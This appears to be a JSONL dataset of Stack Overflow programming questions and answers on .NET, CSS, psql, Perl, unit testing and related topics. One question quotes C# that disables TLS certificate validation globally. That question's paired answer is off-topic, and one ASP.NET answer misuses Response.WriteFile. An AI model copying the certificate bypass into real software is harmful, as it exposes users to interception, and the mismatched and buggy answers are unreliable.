{"id": "hf_c8a3f364ffe1", "question": "<p>I'm writing a WinForms application and one of the tabs in my TabControl has a SplitContainer. I'm saving the SplitterDistance in the user's application settings, but the restore is inconsistent. If the tab page with the splitter is visible, then the restore works and the splitter distance is as I left it. If some other tab is selected, then the splitter distance is wrong.</p>\n", "question_body": "", "answer": "I found the problem. Each tab page doesn't get resized to match the tab control until it gets selected. For example, if the tab control is 100 pixels wide in the designer, and you've just set it to 500 pixels during load, then setting the splitter distance to 50 on a hidden tab page will get resized to a splitter distance of 250 when you select that tab page.\nI worked around it by recording the SplitterDistance and Width properties of the SplitContainer in my application settings. Then on restore I set the SplitterDistance to recordedSplitterDistance * Width / recordedWidth.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.670707"}
{"id": "hf_4e2573229e62", "question": "<p>I know that I can add the SourceSafeTypeLib to a project and can explore it in object browser and find obvious things (GetLatest, etc), but I am looking for some more thorough documentation or specific tutorials on things like \"undo another user's checkout\" or\"determine who has a file checked out. </p>\n\n<p>If anyone knows where to find this material, how to do advanced or non-obvious tasks with VSS, or knows how to disassemble a COM api (so I can engineer my own api) it would be much appreciated. </p>\n", "question_body": "", "answer": "You might check out Microsoft's\ndocumentation\non the Microsoft.VisualStudio.SourceSafe.Interop namespace (I assume that's what you've looked at). I used it to create a VB.NET utility that does get latest, check-outs, and check-ins against a VSS 2005 database.\nA quick perusal revealed the IVSSItem.UndoCheckout method, and the IVSSCheckouts type, which is a collection of checkouts for a given file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.695364"}
{"id": "hf_5f5bf7ccd8b9", "question": "<p>I am writing a webpage in C# .NET.  In javascript there is a function called GetElementsByTagName... this is nice for javascript invoked from the .aspx page.  My question is, is there any way I can have this kind of functionality from my C# code-behind?</p>\n\n<p>--</p>\n\n<p>The scenario for those curious:  I used an asp:repeater to generate a lot of buttons, and now I'm essentially trying to make a button that clicks them all.  I tried storing all the buttons in a list as I created them, but the list is getting cleared during every postback, so I thought I could try the above method.</p>\n", "question_body": "", "answer": "FindControl(), or iterate through the controls on the page...\n```\n```\nFor each ctl as Control in Me.Controls\n  If ctl.Name = whatYouWant Then\n    do stuff\nNext 'ctl\n```\n```\n--If you are creating the controls, you should be setting their ID's\n```\n```\nDim ctl as New Control()\nctl.ID = \"blah1\"\n```\n```\netc...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.721106"}
{"id": "hf_4ab9edcd9ebd", "question": "<p>How do I Configuring DoxyGen to document ActionScript files?</p>\n\n<p>I've included the *.as and *.asi files in doxygen's search pattern, but the classes, functions and variables don't show there.</p>\n", "question_body": "", "answer": "Instead of doxygen you should use a documentation generator that specifically supports the language. For ActionScript 2, you have a couple choices:\nNaturalDocs\n(\nexample\n) (free)\nZenDoc\n(free)\nAS2Doc Pro\n(\nexample\n) (commercial)\nIf you are using ActionScript 3, Adobe includes a free documentation generator along with their open source compiler (the\nFlex SDK\n), called \"\nASDoc\n\". If you are using\nFlashDevelop\n, the\nlatest beta\nhas a built in GUI for running ASDoc, so you don't have to dirty your hands with the commandline.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.769432"}
{"id": "hf_896854fd1fd5", "question": "<p>When my browser renders the following test case, there's a gap below the image. From my understanding of CSS, the bottom of the blue box should touch the bottom of the red box. But that's not the case. Why?</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n            \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"&gt;\n\n&lt;html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\"&gt;\n\n&lt;head&gt;\n  &lt;title&gt;foo&lt;/title&gt;\n&lt;/head&gt;\n\n&lt;body&gt;\n  &lt;div style=\"border: solid blue 2px; padding: 0px;\"&gt;\n    &lt;img alt='' style=\"border: solid red 2px; margin: 0px;\" src=\"http://stackoverflow.com/Content/Img/stackoverflow-logo-250.png\" /&gt;\n  &lt;/div&gt;\n&lt;/body&gt;\n\n&lt;/html&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n", "question_body": "", "answer": "Because the image is inline it sits on the baseline. Try\n```\n```\nvertical-align: bottom;\n```\n```\nAlternately, in IE sometimes if you have whitespace around an image you get that. So if you remove all the whitespace between the div and img tags, that may resolve it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.793770"}
{"id": "hf_81c29c21aaa8", "question": "<p>Coming from a desktop background I'm not sure exactly how to pass the exceptions I have caught to an Error page in order to avoid the standard exception screen being seen by my users.  </p>\n\n<p>My general question is how do I pass the exception from page X to my Error page in ASP.net?</p>\n", "question_body": "", "answer": "I think you can use the\nglobal.asax\n--\nApplication_Exception\nhandler to catch the exception and then store it for displaying in an error page.\nBut actually, your error page shouldn't contains code that might cause just another error. It should be simple \"Oops! something went wrong\" page.\nIf you want details on the error, use Windows' events viewer or\nELMAH\nor employ some logging mechanism.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.817924"}
{"id": "hf_b61e9beb451a", "question": "<p>I'm new to postgreSQL and I have a simple question:</p>\n\n<p>I'm trying to create a simple script that creates a DB so I can later call it like this:</p>\n\n<pre><code>psql -f createDB.sql\n</code></pre>\n\n<p>I want the script to call other scripts (separate ones for creating tables, adding constraints, functions etc), like this:</p>\n\n<pre><code>\\i script1.sql\n\\i script2.sql\n</code></pre>\n\n<p>It works fine provided that createDB.sql is in the <strong>same dir</strong>.</p>\n\n<p>But if I move script2 to a directory under the one with createDB, and modify the createDB so it looks like this:</p>\n\n<pre><code>\\i script1.sql\n\\i somedir\\script2.sql\n</code></pre>\n\n<p>I get an error:</p>\n\n<blockquote>\n  <p>psql:createDB.sql:2: somedir: Permission denied</p>\n</blockquote>\n\n<p>I'm using Postgres Plus 8.3 for windows, default postgres user.</p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>Silly me, unix slashes solved the problem.</p>\n", "question_body": "", "answer": "Postgres started on Linux/Unix.  I suspect that reversing the slash with fix it.\n```\n```\n\\i somedir/script2.sql\n```\n```\nIf you need to fully qualify something\n```\n```\n\\i c:/somedir/script2.sql\n```\n```\nIf that doesn't fix it, my next guess would be you need to escape the backslash.\n```\n```\n\\i somedir\\\\script2.sql\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.867376"}
{"id": "hf_57247ca544a7", "question": "<p>If you are using Java or JavaScript, is there a good way to do something like a String subtraction so that given two strings:</p>\n\n<pre><code>org.company.project.component\norg.company.project.component.sub_component\n</code></pre>\n\n<p>you just get:</p>\n\n<pre><code>sub_component\n</code></pre>\n\n<p>I know that I could just write code to walk the string comparing characters, but I was hoping there was a way to do it in a really compact way.  </p>\n\n<p>Another use-case is to find the diff between the strings:</p>\n\n<pre><code>org.company.project.component.diff\norg.company.project.component.sub_component\n</code></pre>\n\n<p>I actually only want to remove the sections that are identical.</p>\n", "question_body": "", "answer": "```\n```\nString result = \"org.company.project.component.sub_component\".replace(\"org.company.project.component\",\"\")\n```\n```\nShould work...\nEDIT: Apache commons libraries are also great to use\nAs noted below, the StringUtils class does in fact have a method for this:\nStringUtils.remove()", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.892055"}
{"id": "hf_a844501283cd", "question": "<p>I have several long running report type transactions that take 5-10 minutes. Would I see any performance increase by using stored procs? Would it be significant?</p>\n\n<p>each query runs once a night.</p>\n", "question_body": "", "answer": "yes, the query plan for stored procs can be optimized\nand even if it can't procs are preferred over embedded sql\n\"would you see any performance improvement\" - the only way to know for certain is to try it\nin theory, stored procedures pre-parse the sql and store the query plan instead of figuring out each time, so there should be some speedup just from that, however, i doubt it would be significant in a 5-10 minute process\nif the speed is of concern your best bet is to look at the query plan and see if it can be improved with different query structures and/or adding indices et al\nif the speed is not of concern, stored procs provide better encapsulation than inline sql", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.927242"}
{"id": "hf_0043e470d001", "question": "<p>How does one write a unittest that fails only if a function doesn't throw an expected exception?</p>\n", "question_body": "", "answer": "Use\n```\nTestCase.assertRaises\n```\n(or\n```\nTestCase.failUnlessRaises\n```\n) from the unittest module, for example:\n```\n```\nimport mymod\n\nclass MyTestCase(unittest.TestCase):\n    def test1(self):\n        self.assertRaises(SomeCoolException, mymod.myfunc)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:13.976545"}
{"id": "hf_4fd4f979d803", "question": "<p>I'm using the following code to make sure all certificates pass, even invalid ones, but I would like to know if there is a better way, as this event gets called globally and I only want the certificate to pass for a certain HTTP call and not for any others that are happening asynchronously.</p>\n\n<pre><code>// This delegate makes sure that non-validating SSL certificates are passed\nServicePointManager.ServerCertificateValidationCallback = delegate(object certsender, X509Certificate cert, X509Chain chain, System.Net.Security.SslPolicyErrors error)\n{\n   return true;\n};\n</code></pre>\n\n<p>The code above is just an example of ignoring any non-validation on the certificate. The problem that I'm having is that it is a <strong>global</strong> event. I can't see  which session the event is happening for. I might have a couple of http requests going through and I want to ask the user for an action <strong>for each request</strong>.</p>\n", "question_body": "", "answer": "I have recently been looking into this issue but without the same requirements that you have.  I haven't seen a script that does what you want but have you considered instead checking if .NET 2.0 is installed and if not then prompt them to download it.  You can open a URL in the default browser and get the user to attempt the install again once the framework has been installed.\nThis is not an ideal situation from a user perspective but i think going with what your planning you will have to write some complex stuff to handle the different language constraints just to get it working.\nJust my 2 cents.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.027600"}
{"id": "hf_9b8f3cc745d1", "question": "<p>What is the C# equivalent to the sql server 2005 real type?</p>\n", "question_body": "", "answer": "it is a Single\nsee\nhere\nfor more info on SQL Server to .Net DataTypes", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.064419"}
{"id": "hf_a1ee98213ae3", "question": "<p>I am seeing both of them used in this script I am trying to debug and the literature is just not clear. Can someone demystify this for me?</p>\n", "question_body": "", "answer": "Well Google really works for you on this one:\nhttp://www.perlmonks.org/?node_id=94007\nFrom the link:\nQuick summary: 'my' creates a new\n  variable, 'local' temporarily amends\n  the value of a variable.\nie, 'local'\ntemporarily changes the\n  value of the variable\n, but only\nwithin the scope\nit exists in.\nGenerally use my, it's faster and doesn't do anything kind of weird.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.103552"}
{"id": "hf_e2b6781af78d", "question": "<p>I've installed TFS 2008, but I can't seem to access the server. When I try to connect to it in Visual Studio, I can't. If I try by browser on a remote PC, I get a generic page cannot be displayed. On the server, I get a 403. Nothing was touched in IIS and the service is running as a Network Service. Any ideas?</p>\n", "question_body": "", "answer": "What happens if you send a simple HTTP request to the server directly?\nie:\ntelnet  8080 [enter]\nGET / HTTP/1.1[enter]\n[enter]\n[enter]\nThat might give a hint about whether IIS is actually serving anything.  If you can do that on the server, what about from a different machine?  If the results are different a good guess is there are some security/firewall issues somewhere.  HTH a little.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.127889"}
{"id": "hf_38af252203ee", "question": "<p>I keep hearing this term tossed around in several different contexts. What is it?</p>\n", "question_body": "", "answer": "Declarative programming is when you write your code in such a way that it describes what you want to do, and not how you want to do it. It is left up to the compiler to figure out the how.\nExamples of declarative programming languages are SQL and Prolog.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.152202"}
{"id": "hf_ca5c4f13753a", "question": "<p>Let's say I have many-to-many relationship (using the ActiveRecord attribute HasAndBelongsToMany) between Posts and Tags (domain object names changed to protect the innocent), and I wanted a method like <pre>FindAllPostByTags(IList&lt;Tag&gt; tags)</pre> that returns all Posts that have all (not just some of) the Tags in the parameter. Any way I could accomplish this either with NHibernate Expressions or HQL? I've searched through the HQL documentation and couldn't find anything that suited my needs. I hope I'm just missing something obvious!</p>\n", "question_body": "", "answer": "I don't have a system at hand with a Castle install right now, so I didn't test or compile this, but the code below should about do what you want.\n```\n```\nJunction c = Expression.Conjunction();\nforeach(Tag t in tags)\n    c = c.Add( Expression.Eq(\"Tag\", t);\n\nreturn sess.CreateCriteria(typeof(Post)).Add(c).List();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.204114"}
{"id": "hf_de867aac3438", "question": "<p>Is there a catchall function somewhere that works well for sanitizing user input for SQL injection and XSS attacks, while still allowing certain types of HTML tags?</p>\n", "question_body": "", "answer": "No.  You can't generically filter data without any context of what it's for.  Sometimes you'd want to take a SQL query as input and sometimes you'd want to take HTML as input.\nYou need to filter input on a whitelist -- ensure that the data matches some specification of what you expect.  Then you need to escape it before you use it, depending on the context in which you are using it.\nThe process of escaping data for SQL - to prevent SQL injection - is very different from the process of escaping data for (X)HTML, to prevent XSS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.240244"}
{"id": "hf_448e801c361b", "question": "<p>I ruined several unit tests some time ago when I went through and refactored them to make them more <a href=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"noreferrer\">DRY</a>--the intent of each test was no longer clear.  It seems there is a trade-off between tests' readability and maintainability.  If I leave duplicated code in unit tests, they're more readable, but then if I change the <a href=\"http://en.wikipedia.org/wiki/System_Under_Test\" rel=\"noreferrer\">SUT</a>, I'll have to track down and change each copy of the duplicated code.</p>\n\n<p>Do you agree that this trade-off exists?  If so, do you prefer your tests to be readable, or maintainable?</p>\n", "question_body": "", "answer": "Readability is more important for tests.  If a test fails, you want the problem to be obvious.  The developer shouldn't have to wade through a lot of heavily factored test code to determine exactly what failed.  You don't want your test code to become so complex that you need to write unit-test-tests.\nHowever, eliminating duplication is usually a good thing, as long as it doesn't obscure anything, and eliminating the duplication in your tests may lead to a better API.  Just make sure you don't go past the point of diminishing returns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.265846"}
{"id": "hf_4cff4ea5c168", "question": "<p>Can someone suggest a good module in perl which can be used to store collection of objects?</p>\n\n<p>Or is ARRAY a good enough substitute for most of the needs?</p>\n\n<p><strong>Update:</strong>\nI am looking for a collections class because I want to be able to do an operation like compute collection level property from each element.</p>\n\n<p>Since I need to perform many such operations, I might as well write a class which can be extended by individual objects. This class will obviously work with arrays (or may be hashes).</p>\n", "question_body": "", "answer": "i would stick with an ARRAY or a HASH.\n```\n```\n@names = ('Paul','Michael','Jessica','Megan');\n```\n```\nand\n```\n```\nmy %petsounds = (\"cat\" => \"meow\",\n             \"dog\" => \"woof\",\n             \"snake\" => \"hiss\");\n```\n```\nsource", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.301798"}
{"id": "hf_d43f84c60847", "question": "<p>I've been using Winforms since .NET 1.1 and I want to start learning WPF.</p>\n\n<p>I'm looking for some good resources for a beginner in WPF. What should I read, what tools do I need, and what are the best practices I should follow?</p>\n", "question_body": "", "answer": "I'd recommend the book\nWindows Presentation Foundation Unleashed\nby Adam Nathan\nThen I'd recommend you write an application.  Like every other dev environment, there are no perfect guidelines.  You have to find the ones that make the most sense for your circumstance.  The only way to do that is to just start coding.\nAs for tools, Visual Studio 2008 [Express] is your best bet.  Or you might be able to limp along with XamlPad.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.341384"}
{"id": "hf_971ff6900ddf", "question": "<p>Hi I'd like to schedule an existing job in the Sql Server 2005 agent via C# code... i.e. when someone clicks a button on an asp.net web page.</p>\n\n<p>How can I do this?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Have a look here:\nSMO Job Class\nThe\nSQL Server Management Objects (SMO) Class Library\nlets you do practically anything programmatically in SQL Server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.377047"}
{"id": "hf_391bbb4fcfb1", "question": "<p>I am working on a geometry problem that requires finding the intersection of two parabolic arcs in any rotation.  I was able to intesect a line and a parabolic arc by rotating the plane to align the arc with an axis, but two parabolas cannot both align with an axis.  I am working on deriving the formulas, but I would like to know if there is a resource already available for this.</p>\n", "question_body": "", "answer": "I'd first define the equation for the parabolic arc in 2D without rotations:\n```\n```\nx(t) = ax² + bx + c\n  y(t) = t;\n```\n```\nYou can now apply the rotation by building a rotation matrix:\n```\n```\ns = sin(angle)\n  c = cos(angle)\n\n  matrix = | c -s |\n           | s  c |\n```\n```\nApply that matrix and you'll get the rotated parametric equation:\n```\n```\nx' (t) = x(t) * c - s*t;\ny' (t) = x(t) * s + c*t;\n```\n```\nThis will give you two equations (for x and y) of your parabolic arcs.\nDo that for both of your rotated arcs and subtract them. This gives you an equation like this:\n```\n```\nxa'(t) = rotated equation of arc1 in x\n  ya'(t) = rotated equation of arc1 in y.\n  xb'(t) = rotated equation of arc2 in x\n  yb'(t) = rotated equation of arc2 in y.\n  t1 = parametric value of arc1\n  t2 = parametric value of arc2\n\n  0 = xa'(t1) - xb'(t2)\n  0 = ya'(t1) - yb'(t2)\n```\n```\nEach of these equation is just a order 2 polynomial. These are easy to solve.\nTo find the intersection points you solve the above equation (e.g. find the roots).\nYou'll get up to two roots for each axis. Any root that is equal on x and y is an intersection point between the curves.\nGetting the position is easy now: Just plug the root into your parametric equation and you can directly get x and y.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.401074"}
{"id": "hf_f3744b56f2b8", "question": "<p>If I want to put a form up on SharePoint, is it easier to use InfoPath or build a custom web part in C#?  Are there other options that I should consider?  </p>\n\n<p>What are the requirements and hurdles for each option?</p>\n", "question_body": "", "answer": "Can you be more specific about the form and sharepoint version ?\nIt depends on your version of Sharepoint : if you got 2003, if you want to use InfoPath, it has to be installed on the clients as well. On SharePoint 2007, i\nthink\nit is not required.\nIf it is a large form with few business rule, InfoPath can be the way to go -> wysiwyg, and easy deployment.\nIf your form involves more business rules, a web part or a page in _layouts can be \"simpler\" and more maintainable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.449597"}
{"id": "hf_9c8b7678e101", "question": "<p>It is a bit of a \"chicken or egg\" kind of query, but can someone dreamup a query that can return the name of the current database instance in which the query executes? Believe me when I say I understand the paradox: why do you need to know the name of the database instance if you're already connected to execute the query? Auditing in a multi-database environment.</p>\n\n<p>I've looked at all the @@ globals in Books Online. \"<code>SELECT @@servername</code>\" comes close, but I want the name of the database instance rather than the server.</p>\n", "question_body": "", "answer": "```\n```\nSELECT DB_NAME()\n```\n```\nReturns the database name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.474256"}
{"id": "hf_7a7304676459", "question": "<p>I'm writing a function to find <a href=\"http://projecteuler.net/index.php?section=problems&amp;id=12\" rel=\"noreferrer\">triangle numbers</a> and the natural way to write it is recursively:</p>\n\n<pre><code>function triangle (x)\n   if x == 0 then return 0 end\n   return x+triangle(x-1)\nend\n</code></pre>\n\n<p>But attempting to calculate the first 100,000 triangle numbers fails with a stack overflow after a while.  This is an ideal function to <a href=\"http://perl.plover.com/Memoize/\" rel=\"noreferrer\">memoize</a>, but I want a solution that will memoize any function I pass to it.</p>\n", "question_body": "", "answer": "```\n```\nfunction memoize (f)\n   local cache = {}\n   return function (x)\n             if cache[x] then\n                return cache[x]\n             else\n                local y = f(x)\n                cache[x] = y\n                return y\n             end\n          end\nend\n\ntriangle = memoize(triangle);\n```\n```\nNote that to avoid a stack overflow, triangle would still need to be seeded.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.504557"}
{"id": "hf_240b412a50a4", "question": "<p>What property in Netbeans to I need to change to set the name of my java swing app in the OS X menubar and dock? I found info.plist, but changing @PROJECTNAMEASIDENTIFIEER@ in multiple keys here had no effect.</p>\n\n<p>Thanks,\nhating netbeans.</p>\n", "question_body": "", "answer": "Check:\n```\n```\nnbproject/project.properties\n\nnbproject/project.xml\n```\n```\nin project.xml look for the name element...\nBut... Why not just select the main project and right click and do rename?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.578452"}
{"id": "hf_9224cbd4e38d", "question": "<p>I've heard the term MVC (Model View Controller) tossed about with a ton of Buzz lately, but what really is it?</p>\n", "question_body": "", "answer": "Wikipedia seems to describe it best so far:\nhttp://en.wikipedia.org/wiki/Model-view-controller\nModel-view-controller (MVC) is an architectural pattern used in software engineering. Successful use of the pattern isolates business logic from user interface considerations, resulting in an application where it is easier to modify either the visual appearance of the application or the underlying business rules without affecting the other. In MVC, the model represents the information (the data) of the application and the business rules used to manipulate the data; the view corresponds to elements of the user interface such as text, checkbox items, and so forth; and the controller manages details involving the communication to the model of user actions such as keystrokes and mouse movements", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.633083"}
{"id": "hf_d8ea5533034c", "question": "<p>I have a page in my vb.net web application that needs to toss a bunch of data into a text file and then present it to the user for download.  What's the best / most efficient way to build such a text file on a .net web server?</p>\n\n<p>Edit: to answer a question down below, this is going to be a download once and then throw-away kind of file.</p>\n\n<p>Update: I glued together the suggestions by John Rudy and DavidK, and it worked perfectly.  Thanks, all!</p>\n", "question_body": "", "answer": "Use a StringBuilder to create the text of the file, and then send it to the user using Content-Disposition.\nExample found here:\nhttp://www.eggheadcafe.com/community/aspnet/17/76432/use-the-contentdispositi.aspx\n```\n```\nprivate void Button1_Click(object sender, System.EventArgs e)\n{\n        StringBuilder output = new StringBuilder;\n        //populate output with the string content\n        String fileName = \"textfile.txt\";\n\n        Response.ContentType = \"application/octet-stream\";\n        Response.AddHeader(\"Content-Disposition\", \"attachment; filename=\" + fileName);\n        Response.WriteFile(output.ToString());\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.659329"}
{"id": "hf_389316626fa1", "question": "<p>Can someone explain what exactly the string \"0 but true\" means in Perl? As far as I understand, it equals zero in an integer comparison, but evaluates to true when used as a boolean. Is this correct? Is this a normal behavior of the language or is this a special string treated as a special case in the interpreter?</p>\n", "question_body": "", "answer": "In an integer context, it evaluates to 0 (the numeric part at the beginning of the string) and is zero.  In a scalar context, it's a non-empty value, so it is true.\n```\nif (int(\"0 but true\")) { print \"zero\"; }\n```\n(no output)\n```\nif (\"0 but true\") { print \"true\"; }\n```\n(prints true)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.696358"}
{"id": "hf_1c1db7fa2f93", "question": "<p>Is it possible to convert a <code>com.vividsolutions.jts.geom.Geometry</code> (or a subclass of it) into a class that implements <code>java.awt.Shape</code>? Which library or method can I use to achieve that goal?</p>\n", "question_body": "", "answer": "According to:\nhttp://lists.jump-project.org/pipermail/jts-devel/2007-May/001954.html\nThere's a class:\n```\n```\ncom.vividsolutions.jump.workbench.ui.renderer.java2D.Java2DConverter\n```\n```\nwhich can do it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.734035"}
{"id": "hf_7c426548c395", "question": "<p>We've developed a Java application and would like to use this application from a C# client. The application has dependencies on Spring, Log4j, ... </p>\n\n<p>What would be the most efficient mechanism - make DLL(s) from Java code, ... - to achieve this ?</p>\n", "question_body": "", "answer": "IKVM!\nIt is really awesome.  The only problem is that it DOES add ~30MB to the project.\nlog4net and Spring .NET are available as well, but if living with existing code, go the ikvm route.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.770478"}
